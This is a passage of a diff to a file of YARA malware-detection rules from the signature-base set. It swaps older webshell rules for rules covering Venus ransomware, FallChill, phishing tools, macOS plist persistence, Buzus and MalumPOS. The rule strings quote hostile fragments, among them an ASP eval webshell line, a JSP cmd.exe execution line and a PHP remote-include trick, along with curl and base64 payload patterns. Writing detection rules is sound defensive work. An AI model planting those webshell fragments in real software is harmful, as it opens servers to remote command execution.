+		hash11 = "523ad50b498bfb5ab688d9b1958c8058f905b634befc65e96f9f947e40893e5b"
 
 	strings:
-		$s1 = "<td<%if (FSO.GetExtensionName(path & \"\\\" & oFile.Name)=\"lnk\") or (FSO.GetEx"
-		$s6 = "<input type=button value=Save onclick=\"EditorCommand('Save')\"> <input type=but"
+		$a1 = "\\system32\\kernel32.dll" ascii
+		$a2 = "\\boot.lnk" ascii
+		$a3 = "%USERPROFILE%" fullword ascii
+		$b1 = "Wizard.EXE" fullword wide
+		$b2 = "CommandLineA" fullword ascii
+		$c1 = "\\system32\\kernel32.dll" ascii
+		$c2 = "\\aapz.tmp" ascii
+		$e1 = "C:\\Documents and Settings\\A\\" ascii
+		$e2 = "\\svchost.exe" ascii
+		$e3 = "\\Perform\\Release\\Perform.pdb" ascii
+		$f1 = "Browser.EXE" fullword wide
+		$f2 = "\\browser.exe" ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and ( all of ($a*) or all of ($b*) or all of ($c*) or all of ($e*) or 1 of ($f*))
 }
-rule SIGNATURE_BASE_Webshell_ASP_Remexp
+import "pe"
+
+rule SIGNATURE_BASE_MAL_RANSOM_Venus_Nov22_1 : FILE
 {
 	meta:
-		description = "Web Shell - file RemExp.asp"
+		description = "Detects Venus Ransomware samples"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "0f7e0ca4-c5e2-5557-92de-2e0d73035f12"
+		date = "2022-11-16"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L872-L886"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "aa1d8491f4e2894dbdb91eec1abc2244"
-		logic_hash = "7a3b35c4a16f26167180cea81f67de101edabb9b35479f7e5acae7f3fe07f304"
-		score = 70
+		reference = "https://twitter.com/dyngnosis/status/1592588860168421376"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_ransom_venus.yar#L3-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3c94d59015897f180ef55608a2761b37c7b52193e28895ea6a4c0548acf3ad34"
+		score = 85
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
+		hash1 = "46f9cbc3795d6be0edd49a2c43efe6e610b82741755c5076a89eeccaf98ee834"
+		hash2 = "6d8e2d8f6aeb0f4512a53fe83b2ef7699513ebaff31735675f46d1beea3a8e05"
+		hash3 = "931cab7fbc0eb2bbc5768f8abdcc029cef76aff98540d9f5214786dccdb6a224"
+		hash4 = "969bfe42819e30e35ca601df443471d677e04c988928b63fccb25bf0531ea2cc"
+		hash5 = "db6fcd33dcb3f25890c28e47c440845b17ce2042c34ade6d6508afd461bfa21c"
+		hash6 = "ee036f333a0c4a24d9aa09848e635639e481695a9209474900eb71c9e453256b"
+		hash7 = "fa7ba459236c7b27a0429f1961b992ab87fc8b3427469fd98bfc272ae6852063"
 
 	strings:
-		$s0 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=SubFolder.Name%>\"> <a href= \"<%=Reques"
-		$s1 = "Private Function ConvertBinary(ByVal SourceNumber, ByVal MaxValuePerIndex, ByVal"
+		$x1 = "<html><head><title>Venus</title><style type = \"text" ascii fullword
+		$x2 = "xXBLTZKmAu9pjcfxrIK4gkDp/J9XXATjuysFRXG4rH4=" ascii fullword
+		$x3 = "%s%x%x%x%x.goodgame" wide fullword
+		$s1 = "/c ping localhost -n 3 > nul & del %s" ascii fullword
+		$s2 = "C:\\Windows\\%s.png" wide
+		$op1 = { 8b 4c 24 24 46 8b 7c 24 14 41 8b 44 24 30 81 c7 00 04 00 00 81 44 24 10 00 04 00 00 40 }
+		$op2 = { 57 c7 45 fc 00 00 00 00 7e 3f 50 33 c0 74 03 9b 6e }
+		$op3 = { 66 89 45 d4 0f 11 45 e8 e8 a8 e7 ff ff 83 c4 14 8d 45 e8 50 8d 45 a4 50 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <700KB and (pe.imphash()=="bb2600e94092da119ee6acbbd047be43" or 1 of ($x*) or 2 of them ) or 4 of them
 }
-rule SIGNATURE_BASE_Webshell_Jsp_List1
+import "pe"
+
+rule SIGNATURE_BASE_TA17_318A_Rc4_Stack_Key_Fallchill : FILE
 {
 	meta:
-		description = "Web Shell - file list1.jsp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "HiddenCobra FallChill - rc4_stack_key"
+		author = "US CERT"
+		id = "0a2afcab-f540-592f-aa75-64c0a13d26f3"
+		date = "2017-11-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L887-L901"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8d9e5afa77303c9c01ff34ea4e7f6ca6"
-		logic_hash = "61ecafe477d98c5eb6887a9ff50960fc28b84512d09a36c02588159b08b395a4"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta17_318A.yar#L10-L21"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f284cb492ff5242d7bf577580fd95723ef7d3f109c7217a26bbefbbff7150255"
+		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s1 = "case 's':ConnectionDBM(out,encodeChange(request.getParameter(\"drive"
-		$s9 = "return \"<a href=\\\"javascript:delFile('\"+folderReplace(file)+\"')\\\""
+		$stack_key = { 0d 06 09 2a ?? ?? ?? ?? 86 48 86 f7 ?? ?? ?? ?? 0d 01 01 01 ?? ?? ?? ?? 05 00 03 82 41 8b c9 41 8b d1 49 8b 40 08 48 ff c2 88 4c 02 ff ff c1 81 f9 00 01 00 00 7c eb }
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and $stack_key
 }
-rule SIGNATURE_BASE_Webshell_Phpkit_1_0_Odd
+import "pe"
+
+rule SIGNATURE_BASE_TA17_318A_Success_Fail_Codes_Fallchill : FILE
 {
 	meta:
-		description = "Web Shell - file odd.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "HiddenCobra FallChill - success_fail_codes"
+		author = "US CERT"
+		id = "f2390b03-238e-5ae6-af85-e5dd5790362f"
+		date = "2017-11-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L902-L917"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "594d1b1311bbef38a0eb3d6cbb1ab538"
-		logic_hash = "bf99d6a71b9ef72574d928a09f3a479f2f819287d78c9a5435e45752e76a59bf"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta17_318A.yar#L23-L37"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "73f6b36554d83f7708e9468602e529c4865269d362ebeebf6b355ccf7c2a8686"
+		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "include('php://input');" fullword
-		$s1 = "// No eval() calls, no system() calls, nothing normally seen as malicious." fullword
-		$s2 = "ini_set('allow_url_include, 1'); // Allow url inclusion in this script" fullword
+		$s0 = { 68 7a 34 12 00 }
+		$s1 = { ba 7a 34 12 00 }
+		$f0 = { 68 5c 34 12 00 }
+		$f1 = { ba 5c 34 12 00 }
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and (($s0 and $f0) or ($s1 and $f1))
 }
-rule SIGNATURE_BASE_Webshell_Jsp_123
+import "pe"
+
+rule SIGNATURE_BASE_Hiddencobra_Fallchill_1 : FILE
 {
 	meta:
-		description = "Web Shell - file 123.jsp"
+		description = "Auto-generated rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "5bbeb5ba-93d7-5903-9132-749afe5776ae"
+		date = "2017-11-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L918-L933"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c691f53e849676cac68a38d692467641"
-		logic_hash = "48925d3a302bf09ecb3f031301ca8afc722c7ef53b87efa27a3c4b58ee15217d"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-318A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta17_318A.yar#L51-L77"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8e6215a81272ea457318dd83eff9e1902c5e1d1a124ff674b145f2dc5e4a3711"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a606716355035d4a1ea0b15f3bee30aad41a2c32df28c2d468eafd18361d60d6"
 
 	strings:
-		$s0 = "<font color=\"blue\">??????????????????:</font><input type=\"text\" size=\"7"
-		$s3 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859-1\""
-		$s9 = "<input type=\"submit\" name=\"btnSubmit\" value=\"Upload\">    " fullword
+		$s1 = "REGSVR32.EXE.MUI" fullword wide
+		$s2 = "Microsoft Corporation. All rights reserved." fullword wide
+		$s3 = "c%sd.e%sc %s > \"%s\" 2>&1" fullword wide
+		$s4 = "\" goto Loop" fullword ascii
+		$e1 = "xolhvhlxpvg" fullword ascii
+		$e2 = "tvgslhgybmanv" fullword ascii
+		$e3 = "CivagvTllosvok32Smakhslg" fullword ascii
+		$e4 = "GvgCfiivmgDrivxglibW" fullword ascii
+		$e5 = "OkvmPilxvhhTlpvm" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="6135d9bc3591ae7bc72d070eadd31755" or 3 of ($s*) or 4 of them )
 }
-rule SIGNATURE_BASE_Webshell_Asp_1
+import "pe"
+
+rule SIGNATURE_BASE_Hiddencobra_Fallchill_2 : FILE
 {
 	meta:
-		description = "Web Shell - file 1.asp"
+		description = "Auto-generated rule"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "c343e8e4-0785-5a47-99c1-98b189f4aaa0"
+		date = "2017-11-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L934-L948"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8991148adf5de3b8322ec5d78cb01bdb"
-		logic_hash = "9cae40c8fc3966942a8fc3ee0f5d07081ba2d1c1c3156144488ba64015d6838b"
-		score = 70
+		reference = "https://www.us-cert.gov/ncas/alerts/TA17-318A"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta17_318A.yar#L79-L97"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ab421bea251ed3fda4304cd180e5c31f7ae55d3d8b26d6cf5f1cf11bacee9b8d"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0a118eb23399000d148186b9079fa59caf4c3faa7e7a8f91533e467ac9b6ff41"
 
 	strings:
-		$s4 = "!22222222222222222222222222222222222222222222222222" fullword
-		$s8 = "<%eval request(\"pass\")%>" fullword
+		$s1 = "%s\\%s.dll" fullword wide
+		$s2 = "yurdkr.dll" fullword ascii
+		$s3 = "c%sd.e%sc %s > \"%s\" 2>&1" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <500KB and (pe.imphash()=="cb36dcb9909e29a38c387b8a87e7e4ed" or (2 of them ))
 }
-rule SIGNATURE_BASE_Webshell_ASP_Tool
+rule SIGNATURE_BASE_APT_Area1_SSF_Plugx
 {
 	meta:
-		description = "Web Shell - file tool.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "Detects send tool used in phishing campaign reported by Area 1 in December 2018"
+		author = "Area 1"
+		id = "a5b4e781-f0d1-55df-926c-2d321aa48139"
+		date = "2018-12-19"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L949-L964"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4ab68d38527d5834e9c1ff64407b34fb"
-		logic_hash = "62ba39bac09cb403a47678cd38c519642cc3c20f43c470b828ec448c42e9bb73"
-		score = 70
+		reference = "https://cdn.area1security.com/reports/Area-1-Security-PhishingDiplomacy.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_area1_phishing_diplomacy.yar#L2-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a71f124f0c89c4b020f21d029d0d2997b2bea71526e83bcadffb67acc9cca8f7"
+		score = 75
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Response.Write \"<FORM action=\"\"\" & Request.ServerVariables(\"URL\") & \"\"\""
-		$s3 = "Response.Write \"<tr><td><font face='arial' size='2'><b>&lt;DIR&gt; <a href='\" "
-		$s9 = "Response.Write \"<font face='arial' size='1'><a href=\"\"#\"\" onclick=\"\"javas"
+		$feature_call = { 8b 0? 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ??
+         6a 07 6a ff ff d0 8b f0 85 f6 74 14 }
+		$keylogger_reg = { 8b 4d 08 6a 0c 6a 01 8d 55 f4 52 c7 45 f4 01 00 06 00
+         c7 45 f8 00 01 00 00 89 4d fc ff d0 85 c0 75 1d }
+		$file_op = { 55 8b ec 83 ec 20 0f b7 56 18 8b 46 10 66 8b 4e 14 89 45 e4
+         8d 44 32 10 66 89 4d f0 0f b7 4e 1a 57 89 45 e8 33 ff 8d 45 e0 8d 54
+         31 10 50 89 7d e0 89 55 ec c7 45 fa ?? ?? ?? ?? 89 7d f2 89 7d f6 ff
+         15 1c 43 02 10 }
+		$ver_cmp = { 0f b6 8d b0 fe ff ff 0f b6 95 b4 fe ff ff 66 c1 e1 08 0f b7
+         c1 0b c2 3d 02 05 00 00 7f 2c }
+		$regedit = { c7 06 23 01 12 20 c7 46 04 01 90 00 00 89 5e 0c 89 5e 08 e8
+         51 fb ff ff 8b 4d 08 8b 50 38 68 30 75 00 00 56 51 ff d2 }
+		$get_device_caps = { 8b 1d ?? ?? ?? ?? 6a 08 50 ff d3 0f b7 56 12 8b c8 0f af ca
+         b8 1f 85 eb 51 f7 e9 c1 fa 05 8b c2 c1 e8 1f 03 c2 89 45 f8 8b 45 f0 6a 0a 50 ff d3
+         0f b7 56 14 8b c8 0f af ca b8 1f 85 eb 51 }
 
 	condition:
-		2 of them
+		3 of them
 }
-rule SIGNATURE_BASE_Webshell_Cmd_Win32
+rule SIGNATURE_BASE_APT_Area1_SSF_Googlesend_Strings : FILE
 {
 	meta:
-		description = "Web Shell - file cmd_win32.jsp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "Detects send tool used in phishing campaign reported by Area 1 in December 2018"
+		author = "Area 1 (modified by Florian Roth)"
+		id = "66a2faa1-b133-528c-91a9-06a43d2c00a0"
+		date = "2018-12-19"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L965-L979"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cc4d4d6cc9a25984aa9a7583c7def174"
-		logic_hash = "b90ba15b7b2c557f7b2303695b7f1f737f63df06d712c89e0cfea51c7d37e21d"
-		score = 70
+		reference = "https://cdn.area1security.com/reports/Area-1-Security-PhishingDiplomacy.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_area1_phishing_diplomacy.yar#L29-L46"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3a373ed63494b67883515c133bf5b0af3ab874397c7cb45c8399f12e35212be4"
+		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "Process p = Runtime.getRuntime().exec(\"cmd.exe /c \" + request.getParam"
-		$s1 = "<FORM METHOD=\"POST\" NAME=\"myform\" ACTION=\"\">" fullword
+		$conf = "RefreshToken.ini" wide
+		$client_id = "Enter your client ID here" wide
+		$client_secret = "Enter your client secret here" wide
+		$status = "We are going to send" wide
+		$s1 = { b8 00 01 00 00 f0 0f b0 23 74 94 f3 90 80 3d ?? ?? ?? ?? 00 75 ??
+         51 52 6a 00 e8 ?? ?? ?? ?? 5a 59 b8 00 01 00 00 f0 0f b0
+         23 0f ?? ?? ?? ?? ?? 51 52 6a 0a e8 ?? ?? ?? ?? 5a 59 eb c3 }
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and 3 of them
 }
-rule SIGNATURE_BASE_Webshell_Jsp_Jshell
+rule SIGNATURE_BASE_SUSP_Macos_Plist_Suspicious : FILE
 {
 	meta:
-		description = "Web Shell - file jshell.jsp"
+		description = "Suspicious PLIST files in MacOS (possible malware persistence)"
+		author = "John Lambert @JohnLaTwC"
+		id = "61b5986d-35c9-5e1a-a077-14cecdbed36f"
+		date = "2018-12-14"
+		modified = "2023-10-19"
+		old_rule_name = "gen_malware_MacOS_plist_suspicious"
+		reference = "https://objective-see.com/blog/blog_0x3A.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_malware_MacOS_plist_suspicious.yar#L1-L66"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1cca4b859148d95c9e150116e08230424544ebd0886a4d152e493476b9f91a75"
+		score = 65
+		quality = 83
+		tags = "FILE"
+		hash1 = "0541fc6a11f4226d52ae3d4158deb8f50ed61b25bb5f889d446102e1ee57b76d"
+		hash2 = "6cc6abec7d203f99c43ce16630edc39451428d280b02739757f17fd01fc7dca3"
+		hash3 = "76eb97aba93979be06dbf0a872518f9514d0bb20b680c887d6fd5cc79dce3681"
+		hash4 = "8921e3f1955f7141d1231f8cfd95230143525f259e578fdc1dd98494f62ec4a1"
+		hash5 = "9a3fd0d2b0bca7d2f7e3c70cb15a7005a1afa1ce78371fd3fa9c526a288b64ce"
+		hash6 = "737355121685afc38854413d8a1657886f9aa24f54673953749386defe843017"
+		hash7 = "9b77622653934995ee8bb5562df311f5bb6d6719933e2671fe231a664da76d30"
+		hash8 = "c449f8115b4b939271cb92008a497457e1ab1cf2cbd8f4b58f7ba955cf5624f0"
+		hash9 = "cdb2fb9c8e84f0140824403ec32a2431fb357cd0f184c1790152834cc3ad3c1b"
+
+	strings:
+		$sr1 = "PropertyList-"
+		$sr2 = "<plist"
+		$p1 = "python" ascii
+		$p2 = "<string>-c" ascii
+		$v0 = /\<string\>[\/|\w]{0,20}\+[\/|\+|=|\w]{59,80}\<\/string\>/
+		$v1 = "curl " fullword
+		$v2 = "PAYLOAD_DATA"
+		$v3 = "base64"
+		$vb640 = /(AAQQBZAEwATwBBAEQAXwBCAEEAUwBFADYANA|AEEAWQBMAE8AQQBEAF8AQgBBAFMARQA2ADQA|BBWUxPQURfQkFTRTY0|QVlMT0FEX0JBU0U2N|UABBAFkATABPAEEARABfAEIAQQBTAEUANgA0A|UEFZTE9BRF9CQVNFNj)/
+		$vb641 = /(AHUAYgBwAHIAbwBjAGUAcwBzA|c3VicHJvY2Vzc|cwB1AGIAcAByAG8AYwBlAHMAcw|dWJwcm9jZXNz|MAdQBiAHAAcgBvAGMAZQBzAHMA|N1YnByb2Nlc3)/
+		$vb642 = "IyEvdXNy"
+		$vb643 = "IyAtKi0"
+		$vb644 = /(AGQAZABfAGgAZQBhAGQAZQByA|EAZABkAF8AaABlAGEAZABlAHIA|FkZF9oZWFkZX|YQBkAGQAXwBoAGUAYQBkAGUAcg|YWRkX2hlYWRlc|ZGRfaGVhZGVy)/
+		$fp1 = "&#10;do&#10;&#09;echo"
+		$fp2 = "<string>com.cisco.base64</string>"
+		$fp3 = "video/mp4;base64"
+		$fp4 = "<key>Content-Length</key>"
+		$fp5 = "<string>yara</string>"
+		$fp6 = "<key>Frameworks/base64.framework</key>" ascii
+		$fp7 = "<key>Headers/base64.h</key>" ascii
+		$fp8 = "database64" ascii fullword
+		$fp9 = "<!-- last arg will be replaced by the installer script -->" ascii
+		$fp10 = "<key>/usr/local/bin/python</key>"
+		$fp11 = "<key>/usr/bin/ruby</key>"
+
+	condition:
+		filesize <20KB and uint32be(0)==0x3c3f786d and all of ($sr*) and @sr2[1]<0x100 and (1 of ($v*) or all of ($p*)) and not 1 of ($fp*)
+}
+rule SIGNATURE_BASE_Win32_Buzus_Softpulse : FILE
+{
+	meta:
+		description = "Trojan Buzus / Softpulse"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "3b555916-030a-5773-b2f1-e995fc81b697"
+		date = "2015-05-13"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L980-L997"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "124b22f38aaaf064cef14711b2602c06"
-		logic_hash = "dfe3ac097de4ca406ab7ec967fdc03d1e87c74f84fc675b58438a842d80cccda"
-		score = 70
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_buzus_softpulse.yar#L2-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2f6df200e63a86768471399a74180466d2e99ea9"
+		logic_hash = "49625594db57e9d629860970c20493b76e554addc2edb41adba64673a820a94b"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "kXpeW[\"" fullword
-		$s4 = "[7b:g0W@W<" fullword
-		$s5 = "b:gHr,g<" fullword
-		$s8 = "RhV0W@W<" fullword
-		$s9 = "S_MR(u7b" fullword
+		$x1 = "pi4izd6vp0.com" fullword ascii
+		$s1 = "SELECT * FROM Win32_Process" fullword wide
+		$s4 = "CurrentVersion\\Uninstall\\avast" fullword wide
+		$s5 = "Find_RepeatProcess" fullword ascii
+		$s6 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\" wide
+		$s7 = "myapp.exe" fullword ascii
+		$s14 = "/c ping -n 1 www.google" wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and (($x1 and 2 of ($s*)) or all of ($s*))
 }
-rule SIGNATURE_BASE_Webshell_ASP_Zehir4
+rule SIGNATURE_BASE_Pos_Malware_Malumpos
 {
 	meta:
-		description = "Web Shell - file zehir4.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		description = "Used to detect MalumPOS memory dumper"
+		author = "Trend Micro, Inc."
+		id = "6d85c7fe-bf1b-53fb-b618-4b0f8b63cae4"
+		date = "2015-05-25"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L998-L1011"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7f4e12e159360743ec016273c3b9108c"
-		logic_hash = "aa3e07ee6369dd5f86f28a53c8e45391de718d4935021339a7b47829b5196f54"
-		score = 70
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_malumpos.yar#L1-L17"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ece32e51a12adf0d68420c8d98efbe7df27b9061ddfe4dcedf151f9f06287eee"
+		score = 75
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		sample_filtype = "exe"
 
 	strings:
-		$s9 = "Response.Write \"<a href='\"&dosyaPath&\"?status=7&Path=\"&Path&\"/"
+		$string1 = "SOFTWARE\\Borland\\Delphi\\RTL"
+		$string2 = "B)[0-9]{13,19}\\"
+		$string3 = "[A-Za-z\\s]{0,30}\\/[A-Za-z\\s]{0,30}\\"
+		$string4 = "TRegExpr(exec): ExecNext Without Exec[Pos]"
+		$string5 = /Y:\\PROGRAMS\\.{20,300}\.pas/
 
 	condition:
-		all of them
+		all of ($string*)
 }
-rule SIGNATURE_BASE_Webshell_Wsb_Idc
+rule SIGNATURE_BASE_PHISH_02Dez2015_Dropped_P0O6543F_1 : FILE
 {
 	meta:
-		description = "Web Shell - file idc.php"
+		description = "Phishing Wave - file p0o6543f.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "3335ad3c-47f8-5547-bac0-df2d98ff644f"
+		date = "2015-12-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1012-L1026"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7c5b1b30196c51f1accbffb80296395f"
-		logic_hash = "f274061f1a02ab65bc574a6586343f74262a463c5200cd2c231a752f54967404"
-		score = 70
+		reference = "http://myonlinesecurity.co.uk/purchase-order-124658-gina-harrowell-clinimed-limited-word-doc-or-excel-xls-spreadsheet-malware/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_phish_gina_dec15.yar#L8-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "db788d6d3a8ed1a6dc9626852587f475e7671e12fa9c9faa73b7277886f1e210"
